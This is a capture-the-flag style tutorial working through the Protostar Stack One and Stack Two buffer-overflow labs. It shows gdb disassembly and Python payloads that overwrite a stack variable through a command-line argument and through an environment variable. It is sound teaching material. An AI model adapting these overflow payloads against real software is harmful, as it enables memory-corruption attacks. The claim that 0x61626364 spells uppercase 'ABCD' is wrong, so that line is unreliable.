Preface
The installation of Protostar shooting range and some basic introduction to binary security have been introduced in the previous article. Here is the link to the article.
https://blog.csdn.net/qq_45894840/article/details/129490504?spm=1001.2014.3001.5501
What is buffer overflow
A buffer overflow or buffer overflow occurs when the system writes more data to the buffer than it can hold. In simpler words, when the program is running, the system will generate a fixed buffer in memory for the program. Space, if it exceeds this space, it will cause buffer overflow, which can lead to program failure, system downtime, restart and other consequences. What's more serious is that you can even obtain system privileges and perform various illegal operations.
What is a register
Registers are areas of memory that are very close to the CPU, so they can be accessed quickly, but there is a limit to what can be stored in these registers.
Computer registers are a set of high-speed memories located inside the CPU that are used to store and process data. Used to store instructions, data and operation results
Common register names and functions:
累加器寄存器(Accumulator Register,EAX):用于存储操作数和运算结果,在算术和逻辑操作中经常使用。
基址指针寄存器(Base Pointer Register,EBP):用于指向堆栈帧的基地址,通常用于函数调用和局部变量访问。
堆栈指针寄存器(Stack Pointer Register,ESP):指向当前活动堆栈的栈顶地址,在函数调用和参数传递中经常使用。
数据寄存器(Data Register,EDX、ECX、EBX):用于存储数据,在算术和逻辑操作中经常使用。
指令指针寄存器(Instruction Pointer Register,EIP):存储当前要执行的指令的内存地址,用于指示下一条要执行的指令。
Stack One
Program static analysis
https://exploit.education/protostar/stack-one/
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
Source code analysis
First, the program defines two function variables
volatile int modified;
char buffer[64];
Integer variable modified and character variable buffer, in which the maximum character storage of character variable buffer is 64 bytes.
Then the program detects the parameters we entered
if(argc == 1) {
errx(1, "please specify an argument\n");
}
If we just run the program without inputting arguments, please specify an argument will be output and the program will end.
Then the program defines a variable and performs a string copy operation
modified = 0;
strcpy(buffer, argv[1]);
The modified variable is 0, and then the parameters we entered are copied to the buffer variable.
Then the program makes a simple if judgment
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
If the modified variable is equal to 0x61626364, you have correctly got the variable to the right value, which means that we have successfully cracked it.
0x61626364 is hexadecimal, and the conversion string is uppercase ABCD.
In other words, we succeeded in changing the modified variable to ABCD, but the modified variable is set to 0. Here we need stack overflow to overwrite the originally set value of the variable.
Compilation analysis
Use gdb to open the program and enter the instructions to view the assembly code
set disassembly-flavor intel
disassemble main
0x08048464 <main+0>: push ebp
0x08048465 <main+1>: mov ebp,esp
0x08048467 <main+3>: and esp,0xfffffff0
0x0804846a <main+6>: sub esp,0x60
0x0804846d <main+9>: cmp DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>: jne 0x8048487 <main+35>
0x08048473 <main+15>: mov DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>: mov DWORD PTR [esp],0x1
0x08048482 <main+30>: call 0x8048388 <errx@plt>
0x08048487 <main+35>: mov DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>: mov eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>: add eax,0x4
0x08048495 <main+49>: mov eax,DWORD PTR [eax]
0x08048497 <main+51>: mov DWORD PTR [esp+0x4],eax
0x0804849b <main+55>: lea eax,[esp+0x1c]
0x0804849f <main+59>: mov DWORD PTR [esp],eax
0x080484a2 <main+62>: call 0x8048368 <strcpy@plt>
0x080484a7 <main+67>: mov eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>: cmp eax,0x61626364
0x080484b0 <main+76>: jne 0x80484c0 <main+92>
0x080484b2 <main+78>: mov DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>: call 0x8048398 <puts@plt>
0x080484be <main+90>: jmp 0x80484d5 <main+113>
0x080484c0 <main+92>: mov edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>: mov eax,0x80485f3
0x080484c9 <main+101>: mov DWORD PTR [esp+0x4],edx
0x080484cd <main+105>: mov DWORD PTR [esp],eax
0x080484d0 <main+108>: call 0x8048378 <printf@plt>
0x080484d5 <main+113>: leave
0x080484d6 <main+114>: ret
The most critical part of the program is here
0x080484a7 <main+67>: mov eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>: cmp eax,0x61626364
0x080484b0 <main+76>: jne 0x80484c0 <main+92>
It uses the mov instruction to move the value of the esp+0x5c stack address to the eax register, and then uses the cmp instruction to compare the value in the eax register with 0x61626364. If the compared values are different, the jne instruction is executed to jump to the 0x80484c0 address to continue. Execute other instructions
Program dynamic analysis
We first set a breakpoint at the address of the program execution comparison instruction.
b *0x080484ab
Then set it to automatically run the command we set
define hook-stop
info registers //显示寄存器里的地址
x/24wx $esp //显示esp寄存器里的内容
x/2i $eip //显示eip寄存器里的内容
end //结束
Then execute the program and specify the parameters
r AAAAAAAA
The program executes to the breakpoint we set and automatically executes the command we set above. Here you can see the positions of the eight uppercase A's we entered on the stack, and the value in the eax register is 0.
As mentioned before, the program moves the value at the esp+0x5c address to the eax register, and then executes the comparison instruction.
Let’s check the value stored in the address esp+0x5c
x/wx $esp+0x5c
The esp+0x5c address is 0xbffff78c in the stack. Each segment stores four characters. c represents 12
From the stack address that stores the value we entered to esp+0x5c, there are 64 characters in between. That is to say, we need to output 64 characters + 4 characters we specified to overwrite the modified variable.
Another knowledge point here is that in the x86 architecture, reading is from low to high. To make the modified variable become 0x61626364, you cannot directly enter abcd, but dcba.
python -c "print('A'*(4*16)+'dcba')"
Successfully cracked the program
Stack Two
Program static analysis
https://exploit.education/protostar/stack-two/
Program source code:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
This program code is similar to the first one, except that our input is changed to read the contents of the GREENIE variable in the environment variable.
What are environment variables
The two basic components of any computer programming language are variables and constants. Just like the independent variables in a mathematical equation. Both variables and constants represent unique memory locations that contain data used by the program in its calculations. The difference between the two is that variables may change during execution, while constants cannot be reassigned
Here are just a few common environment variables:
$PATH
Contains some directory lists, the function is that the terminal will search for programs to be executed in these directories.
View the $PATH environment variable
echo $PATH
If I want to execute the whoami program, the terminal will search for the program named whoami in this environment variable.
The search directories are as follows
/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin
/usr/local/games
/usr/games
The whoami program is in the /usr/bin directory, and the terminal will execute the whoami program in this directory.
The Windows PATH environment variable can be seen here
$HOME
Contains the current user's home directory
echo $HOME
$PWD
Contains the directory location of the current user
More information about environment variables:
https://en.wikipedia.org/wiki/Environment_variable
Crack program
Back to the topic
variable = getenv("GREENIE");
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
First, an environment variable named GREENIE is obtained, and then the content is assigned to the variable variable. Then the if determines whether modified is equal to 0x0d0a0d0a. This is exactly the same as the first program, except that we do not crack the program through input, but put the payload in in the specified environment variable, and then the program reads the environment variable
export GREENIE=$(python -c "print 'A'*(4*16)+'\x0a\x0d\x0a\x0d'"); ./stack2
You can successfully crack it by running it directly.